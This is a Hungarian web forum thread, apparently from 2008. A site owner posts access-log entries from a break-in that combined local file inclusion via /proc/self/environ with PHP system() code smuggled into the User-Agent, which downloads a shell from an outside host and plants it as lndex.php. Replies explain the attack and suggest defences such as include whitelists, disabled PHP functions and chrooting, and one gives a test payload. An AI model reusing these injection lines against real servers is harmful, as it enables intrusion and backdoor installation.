weboldal feltörésből tanulás

Sziasztok, nemrégiben feltörték az oldalamat, és elkezdtem olvasgatni a log fájlokat.

Találtam pár számomra érdekes és lehet hogy másoknak is tanulságos bejegyzést:

87.109.129.170 - - [10/Jan/2008:14:43:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 3373 "-" "jcfs<?system(\"wget http://www.darkmindz.com/shell/x2300.txt 2> /dev/stdout\");?>jcfs"

87.109.129.170 - - [10/Jan/2008:14:44:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 3373 "-" "jcfs<?system(\"wget http://www.darkmindz.com/shell/x2300.txt 2> /dev/stdout\");?>jcfs"

87.109.129.170 - - [10/Jan/2008:14:45:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 2920 "-" "jcfs<?system(\"cd /home/nagitaco/public_html/; wget http://www.darkmindz.com/shell/x2300.txt; mv x2300.txt lndex.php 2> /dev/stdout\");?>jcfs"

Az index.php include-olt egy másik php oldalt.
Ami érdekes: a saját gépről a proc/self/environ állományt el tudta érni, és ki tudta írtani a tartalmát.
Ami még érdekesebb: pontosan hogy és miért működik a kérés hátsó, jcfs-ek közötti része ?

A wget-et értem, de mi a jcfs? hogy tudta ezt a kérést a gépnek elküldeni?
telnet?
miért fogadta el a szerver, és hajtotta végre az utasításokat?
A kérdéses lndex.php állományt megtaláltam, tehát szerintem a betörés sikeres volt, legalábbis a log fájlok szerint és a könyvtárállományok szerint is megtaláltam a gépre feltett idegen php fájlt.

Kérem ha valaki a fenti sorok második részének (jcfs) pontos működését érti, írja meg.

Amit tettem:
GET-en kapott include-ból a / : ; karaktereket kapásból törlöm, limitált a paraméter hossza.
de lehet hogy ez így még mindig nem elég. Erre a fenti jcfs-t tartalmazó lekérésre nem számítottam, a betörés előtt csak a :// karaktersorozatot töröltem automatikusan a GET-ből, gondolván hogy így kívülről nem juthat be fájl. Hát bejutott.

A feltölteni próbált betörőkészletekből 6 különbözőt sikerült lementenem.

Ha valakit érdekel hogy a próbálkozók mit akarnak a gépre tenni (vagy tettek), itt egy szép gyűjtemény a logfájlomból és a publikus könyvtárakból kiszedett állományokról: http://pythonlib.pergamen.hu/betoroholmik.tar.gz php kódok vannak benne.

pár napig kinthagyom, aztán törlöm. Biztos ami biztos.

Köszönöm a segítséget.

Balázs

Hozzászólások

jó jcfs-részlet, < és ? jeleket az előbb a szűrő leszedte:


87.109.129.170 - - [10/Jan/2008:14:45:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 2920 "-" "jcfs<?system(\"cd /home/nagitaco/public_html/; wget http://www.darkmindz.com/shell/x2300.txt; mv x2300.txt lndex.php 2> /dev/stdout\");?>jcfs"

Balázs

Elsőre jobb lenne ha includekor nem .php lenne, hanem mondjuk csak filenev, a php-t meg te illeszted hozzá, így kevésbé nyilvánvaló, hogy includeolsz. Másrészt érdemesebb lenne kevésbé dinamikussá tenni, értsd pl egy egyszerű switch/case segítségével, a paraméter alapján döntöd el, hogy melyik fájlt include-olod be, default-nak pedig hibát dobsz. Ezzel nagyjából ki is védted, hogy ne tudjanak tetszőleges fájlt behúzni.

Továbbá, a php errorokat (copy_reg) le kellene kezelni, abból is hamar lehet információt kinyerni.

De én ezekhez nem értek :)
--
HUP Firefox extension

> ha valaki a fenti sorok második részének (jcfs) pontos működését érti, írja meg.

Olvasd végig az /examples/index.php -t a megfelelő input adatokat alapul véve, aztán kiderül.

En a helyedben nagyon atneznem a gepet, ui a phpben C progik vannak, konkretan indit egy bash-t aminek az IO jat ra bind olja network portra.

Tom kicsit nyilvanvalo a kerdes de van wgeted?

Le tudod ellenorizni hogy egyaltalan tudott e foltolteni ha az eredeti examples/index.php nek ezt kuldod:
examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
es beallitod mondjuk a brower ID-det erre: <? system('echo > /tmp/ezbizabaj'); ?> (szerkesztve, francos drupal :)

Ha az ezbizabaj ettol ott van a /tmp akkor inkabb reinstall.

Az alapotlet: http://h4ck-y0u.org/viewtopic.php?t=36147
==
`Have some wine,' the March Hare said in an encouraging tone.
Alice looked all round the table, but there was nothing on it but tea.

Sziasztok, kísérleteztem, szomorú tapasztalatokkal.

A probléma az, hogy szerintem az apache mindegy milyen get paramétert kap, végrehajtja a böngésző azonosítójába (user agent) illesztett shell kódot.

A firefoxhoz feltettem a User Agent Switcher plugint, amivel a user Agent-be shell utasításokat írtam.

Az apache lefuttatta a User Agent-ként átadott shell kódot, tökmindegy hogy szűrtem a GET paramétert.
de ez az include-hoz kötődik.
B.

Szia!

En mostanaban tanultam a PHP-t, ezert lehet rossz amit mondok, de...
en igy csinalom:

$p = isset($_GET['p']) ? $_GET['p'] : main;

switch($p){
case "main":
$p = "pages/main.php";
break;
case "xxxx":
$p = "xxx/zzz.html"
break;
....
default:
$p = "pages/elkurtuk.html";
break;
}

Az elkurtuk.html egy error uzenetet tartalmaz, hogy ervenytelen oldal. En nem foglalkoztam olyasmivel, hogy bizonyos karaktereket nem engedek, mert a fenti kod elvileg ved ez ellen is.

A linkek meg ilyenek:

-
budacsik



$p = $_GET["p"];

$allowed = array("fooldal", "aloldal1", "aloldal2");
if(!in_array($p, $allowed)) die("anyaddal szorakozz");
include("include/$p.php");

ez (vagy vmi ilyesmi) lényegesen gyorsabb, egyszerűbb, és rugalmasabb, mint a karakterkiszedés, meg hosszúságszabályzás SZVSZ

---
http://xkcd.com/258/

Apple MacBook
CD 1.83 | 1.25GB 667MHz | 60GB SATA | 2.36 kg | 5400mAh @ 12.5V

na megnéztem már nálam hogy megy a dolog:


<?php
$_GET['id'] = str_replace('../', '',$_GET['id'] );
 if (isset($_GET['id']) and $_GET['id'] != '')
 {
     if (is_file("./" . $_GET["id"] . ".php"))
     {
         include("./" . $_GET["id"] . ".php");
     }
 else
 {
 include("./error.php");
 }
 }
 else
 {
 include ("./kezdolap.php");
 }
?>

Mint láthato, kiszedi a piszok ../-t az URL-ből:)

--
Desktop: 2.6.21-gentoo-r4 AMD Athlon(tm) 64 X2 Dual Core Processor 3800+
Laptop: 2.6.22-gentoo-r5 Mobile Intel(R) Pentium(R) 4 - M CPU 2.00GHz

Nem jo a megkozelites: nem kiszedni kell a gyanus dolgokat, hanem hibauzenet utan kilepni. Ha az input nem koser, akkor nem legitim keressel van dolgod, ugyhogy a tamadot nem is erdekli a valasz, amit te jo szandekkal adnal. Tehat rossz input eseten <? die("ne itt hekkelj stupid..."); ?>

ASK Me No Questions, I'll Tell You No Lies

Az alábbi gyári php feature-oket is kéne tanulmányozni:

open_basedir
disable_functions -> különösen a shell_exec, exec, system és passthru-ra
allow_url_fopen
allow_url_include

Az apache-hoz passzoló mod_security-t meg szintén érdemes megnézni.

Webszervert szerintem csak chrootban vagy jailben szabad csak futtatni, amiből minden fölös hiányzik (pl. wget). Tűzfalazással még tovább lehet javítani a dolgot. :)

A fentihez hasonló dolgot minden nap tizesével látni, mert jó eséllyel robotok csinálják

A bejövő mindenféle változók ellenőrzését a fentiek mellett sem szabad elhagyni, sőőőőt.

Most kezdek ismerkedni a PHP-vel. Tudtok ajanlani olyan par doksit, amiben osszefoglaloan, es magyarazatokkal vannak bemutatva a vedekezesek a hasonlo trukkok ellen? Google-zva van millio morzsa, de abbol nem konnyu kimazsolazni. Koszi.

Van magyar nyelvu offline irodalom is: "Hogyan torjunk fel webhelyeket" a cime, kiadot es szerzot nem tudok, Alexandraban vettem a nyugatinal.
Ezen kivul lehet probalgatni pl HackThisSite.org-on. Ha par palyat megoldasz, utana remelhetoleg nem koveted el ugyanazokat. (plusz van sajat foruma, bar angol)
Ha van olyan ismerosod, aki ert valamennyire a biztonsaghoz, es megbizol benne, akkor a rendszer megnyitasa elott erdemes megnezetni. (ha kodot is mutatsz, ugy konnyebb, ha nem mutatsz, ugy izgibb :) )
---------------------
-Tudod, szep az, amit erdek nelkul szepnek latunk.
-Peldaul matrixfuggveny.
honlap készítés

Aki meg ért angolul az meg inkább ezt nézze meg, mivel a könyvben ezt írja le a szerző:
http://video.google.com/videoplay?docid=5159636580663884360
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Üllj le és kuss legyen!"..

Tudom, hogy nem túl népszerű a dolog, de win alatt a példák meg sem nézhetőek mert a symatec sikít ( és töröl ):
http://securityresponse.symantec.com/security_response/writeup.jsp?doci…
http://securityresponse.symantec.com/security_response/detected_writeup…
Ő ezt látta: PHP.RSTBackdoor is a back door Trojan that is written in PHP. It runs only on HTTP servers with PHP interpreters installed.
--
üdv: virtualm

a nod32 nyivákol szinte minden file-ra: PHP/C99Shell.A trojan
hát ha tényleg sikerült futtatni a betörőnek akkor most egy trójai csücsül a gépen. szép.

---------------------------------------------------------------------
„Az Univerzum már elég nagy és öreg ahhoz, hogy egy fél óráig vigyázzon magára.”

Ne engedd, hogy a php fájlok írhassák a saját könyvtárukat, vagy bármiféle config file-t.
Korlátozd az apache jogait.

Ja és register_globals off természetesen.